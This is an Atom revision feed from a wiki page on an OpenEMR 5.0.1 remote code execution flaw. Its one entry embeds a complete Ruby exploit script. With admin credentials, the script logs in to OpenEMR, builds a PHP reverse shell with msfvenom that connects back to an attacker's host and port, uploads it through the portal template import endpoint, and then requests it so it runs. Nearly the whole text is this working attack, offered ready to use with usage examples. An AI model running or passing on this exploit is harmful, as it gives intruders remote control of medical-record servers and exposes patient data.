<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenEMR_5.0.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>OpenEMR 5.0.1 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenEMR_5.0.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenEMR_5.0.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T10:23:07Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=OpenEMR_5.0.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1297&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Title: OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) # Exploit Author: Alexandre ZANNI # Date: 2020-07-16 # Vendor Homepage: https://www.open-emr.o...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenEMR_5.0.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1297&amp;oldid=prev"/>
		<updated>2021-04-09T07:58:27Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Title: OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) # Exploit Author: Alexandre ZANNI # Date: 2020-07-16 # Vendor Homepage: https://www.open-emr.o...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Title: OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2)&lt;br /&gt;
# Exploit Author: Alexandre ZANNI&lt;br /&gt;
# Date: 2020-07-16&lt;br /&gt;
# Vendor Homepage: https://www.open-emr.org/&lt;br /&gt;
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz&lt;br /&gt;
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile &lt;br /&gt;
# Version: &amp;lt; 5.0.1 (Patch 4)&lt;br /&gt;
# Tested on: Ubuntu 18.04, OpenEMR Version 5.0.1.3&lt;br /&gt;
# References: https://www.exploit-db.com/exploits/48515&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env ruby&lt;br /&gt;
&lt;br /&gt;
require 'httpclient'&lt;br /&gt;
require 'docopt'&lt;br /&gt;
&lt;br /&gt;
shell_name = 'shell4.php'&lt;br /&gt;
user = 'openemr_admin'&lt;br /&gt;
password = 'xxxxxx'&lt;br /&gt;
payload = 'php/reverse_php'&lt;br /&gt;
lhost = '10.10.15.201'&lt;br /&gt;
lport = 8888&lt;br /&gt;
&lt;br /&gt;
doc = &amp;lt;&amp;lt;~DOCOPT&lt;br /&gt;
  OpenEMR &amp;lt;= 5.0.1 - (Authenticated) Remote Code Execution&lt;br /&gt;
&lt;br /&gt;
  Usage:&lt;br /&gt;
    #{__FILE__} manual --root-url &amp;lt;url&amp;gt; --shell &amp;lt;filename&amp;gt; --user &amp;lt;username&amp;gt; --password &amp;lt;password&amp;gt; [--debug]&lt;br /&gt;
    #{__FILE__} semi-auto --root-url &amp;lt;url&amp;gt; --user &amp;lt;username&amp;gt; --password &amp;lt;password&amp;gt; --payload &amp;lt;payload&amp;gt; --lhost &amp;lt;host&amp;gt; --lport &amp;lt;port&amp;gt; [--debug]&lt;br /&gt;
    #{__FILE__} auto --root-url &amp;lt;url&amp;gt; --user &amp;lt;username&amp;gt; --password &amp;lt;password&amp;gt; --lhost &amp;lt;host&amp;gt; --lport &amp;lt;port&amp;gt; [--debug]&lt;br /&gt;
    #{__FILE__} -H | --help&lt;br /&gt;
&lt;br /&gt;
  Options:&lt;br /&gt;
    -r &amp;lt;url&amp;gt;, --root-url &amp;lt;url&amp;gt;            Root URL (base path) including HTTP scheme, port and root folder&lt;br /&gt;
    -s &amp;lt;filename&amp;gt;, --shell &amp;lt;filename&amp;gt;     Filename of the PHP reverse shell payload&lt;br /&gt;
    -u &amp;lt;username&amp;gt;, --user &amp;lt;username&amp;gt;      Username of the admin&lt;br /&gt;
    -p &amp;lt;password&amp;gt;, --password &amp;lt;password&amp;gt;  Password of the admin&lt;br /&gt;
    -m &amp;lt;payload&amp;gt;, --payload &amp;lt;payload&amp;gt;     Metasploit PHP payload&lt;br /&gt;
    -h &amp;lt;host&amp;gt;, --lhost &amp;lt;host&amp;gt;             Reverse shell local host&lt;br /&gt;
    -t &amp;lt;port&amp;gt;, --lport &amp;lt;port&amp;gt;             Reverse shell local port&lt;br /&gt;
    --debug                               Display arguments&lt;br /&gt;
    -H, --help                            Show this screen&lt;br /&gt;
&lt;br /&gt;
  Examples:&lt;br /&gt;
    #{__FILE__} manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123&lt;br /&gt;
    #{__FILE__} semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888&lt;br /&gt;
    #{__FILE__} auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999&lt;br /&gt;
DOCOPT&lt;br /&gt;
&lt;br /&gt;
begin&lt;br /&gt;
  args = Docopt.docopt(doc)&lt;br /&gt;
  pp args if args['--debug']&lt;br /&gt;
  if args['manual']&lt;br /&gt;
    shell_name = File.basename(args['--shell'])&lt;br /&gt;
    shell_path = args['--shell']&lt;br /&gt;
  else&lt;br /&gt;
    shell_name = &amp;quot;tmp#{rand(1000)}.php&amp;quot;&lt;br /&gt;
    shell_path = shell_name&lt;br /&gt;
  end&lt;br /&gt;
  if args['semi-auto']&lt;br /&gt;
    payload = args['--payload']&lt;br /&gt;
  else&lt;br /&gt;
    payload = 'php/reverse_php'&lt;br /&gt;
  end&lt;br /&gt;
  # Authentication data&lt;br /&gt;
  uri_1 = URI(&amp;quot;#{args['--root-url']}/interface/main/main_screen.php?auth=login&amp;amp;site=default&amp;quot;)&lt;br /&gt;
  data_1= {&lt;br /&gt;
    'new_login_session_management' =&amp;gt; '1',&lt;br /&gt;
    'authProvider' =&amp;gt; 'Default',&lt;br /&gt;
    'authUser' =&amp;gt; args['--user'],&lt;br /&gt;
    'clearPass' =&amp;gt; args['--password'],&lt;br /&gt;
    'languageChoice' =&amp;gt; '1'&lt;br /&gt;
  }&lt;br /&gt;
  # Reverse shell data&lt;br /&gt;
  unless args['manual']&lt;br /&gt;
    puts &amp;quot;[+] Generating the reverse shell payload: #{shell_name}&amp;quot;&lt;br /&gt;
    %x(msfvenom -p #{payload} LHOST=#{args['--lhost']} LPORT=#{args['--lport']} -f raw &amp;gt; #{shell_name})&lt;br /&gt;
  end&lt;br /&gt;
  data_2 = {&lt;br /&gt;
    'site' =&amp;gt; 'default',&lt;br /&gt;
    'mode' =&amp;gt; 'save',&lt;br /&gt;
    'docid' =&amp;gt; shell_name,&lt;br /&gt;
    'content' =&amp;gt; File.read(shell_path)}&lt;br /&gt;
  uri_2 = URI(&amp;quot;#{args['--root-url']}/portal/import_template.php?site=default&amp;quot;)&lt;br /&gt;
  uri_3 = URI(&amp;quot;#{args['--root-url']}/portal/#{shell_name}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  clnt = HTTPClient.new&lt;br /&gt;
&lt;br /&gt;
  puts '[+] Authenticating'&lt;br /&gt;
  clnt.post(uri_1, data_1)&lt;br /&gt;
&lt;br /&gt;
  puts '[+] Uploading the reverse shell'&lt;br /&gt;
  clnt.post(uri_2, data_2)&lt;br /&gt;
&lt;br /&gt;
  puts &amp;quot;[+] Executing the reverse shell: #{args['--root-url']}/portal/#{shell_name}&amp;quot;&lt;br /&gt;
  clnt.get(uri_3)&lt;br /&gt;
rescue Docopt::Exit =&amp;gt; e&lt;br /&gt;
  puts e.message&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>